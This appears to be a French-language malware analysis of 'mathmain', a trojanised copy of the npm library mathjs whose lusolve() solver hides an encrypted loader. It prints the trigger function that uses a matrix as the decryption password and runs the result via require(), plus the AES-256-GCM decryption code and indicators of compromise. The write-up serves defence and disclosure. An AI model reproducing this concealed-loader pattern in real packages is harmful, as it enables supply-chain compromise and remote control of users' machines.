Présentation
Le 17 septembre 2026, SafeDep a identifié mathmain, un package npm qui duplique la bibliothèque mathjs sous un nouveau nom. Au premier regard, le code semble identique, mais une fonction supplémentaire insérée dans le solveur lusolve() active un chargeur crypté. Ce chargeur reste inactif tant qu’une matrice particulière n’est pas fournie, ce qui rend la menace difficile à détecter lors d’une simple inspection du dépôt.
Mécanisme de déclenchement
Le solveur lusolve() calcule la solution d’un système linéaire puis transmet la matrice triangulaire inférieure l._data à la fonction removeSolveValidation(). Cette fonction appelle isGraph(x), où x correspond à la matrice. isGraph() convertit la matrice en chaîne JSON et l’utilise comme mot de passe pour déchiffrer un fichier. Le code pertinent est :
const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';
function isGraph (x) {
const password = JSON.stringify(x);
const name = validEvent(STAGE1_BLOB, password);
const target = path.join(__dirname, name);
const mod = require(event(target, password));
return (x && mod.validGraph(password)) || false;
}
Le mot de passe dépend donc de la valeur exacte de la matrice d’entrée ; seul un attaquant connaissant la combinaison correcte peut activer le chargeur.
Analyse du chargeur crypté
Le fichier event.js contient les fonctions de dérivation de clé et de déchiffrement. La clé est générée avec crypto.scryptSync à partir du mot de passe et d’un sel de 16 octets, puis un déchiffrement AES‑256‑GCM est appliqué :
const key = crypto.scryptSync(password, salt, 32);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
Le flux chiffré stocke le sel (16 B), le vecteur d’initialisation (12 B) et le tag d’authentification (16 B) avant le texte chiffré, le tout encodé en base64. Le nom du fichier déchiffré semble être graph.js, mais le mot de passe exact n’a pas pu être récupéré, empêchant la confirmation du nom.
Une fois déchiffré, le chargeur écrit le fichier sur le disque et l’exécute via require(). Le payload ainsi chargé ouvre une connexion à un service de chat public et à un réseau blockchain, servant de canal de commande ; il exécute alors les instructions reçues sur la machine victime, offrant un accès à distance persistant.
Implications sécuritaires
Cette chaîne d’attaque exploite plusieurs vecteurs : une dépendance open‑source populaire, une logique de déclenchement basée sur des données d’entrée légitimes, et un chiffrement robuste qui masque le code malveillant jusqu’à l’exécution. Les outils d’analyse statique classiques ne détectent pas le chargeur car le code malveillant n’est présent que sous forme chiffrée. La présence d’un loader identique dans deux autres paquets indique une campagne de réutilisation du même composant, augmentant la surface d’exposition.
Les indicateurs de compromission (IoC) incluent : le blob base64 IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==, l’appel à crypto.scryptSync suivi de aes-256-gcm, et la présence du fichier graph.js généré dynamiquement. Les équipes de sécurité doivent surveiller les installations de mathmain, inspecter les appels à lusolve() avec des matrices non‑standard, et appliquer des politiques de blocage des paquets contenant des dépendances non‑signées ou des charges utiles chiffrées.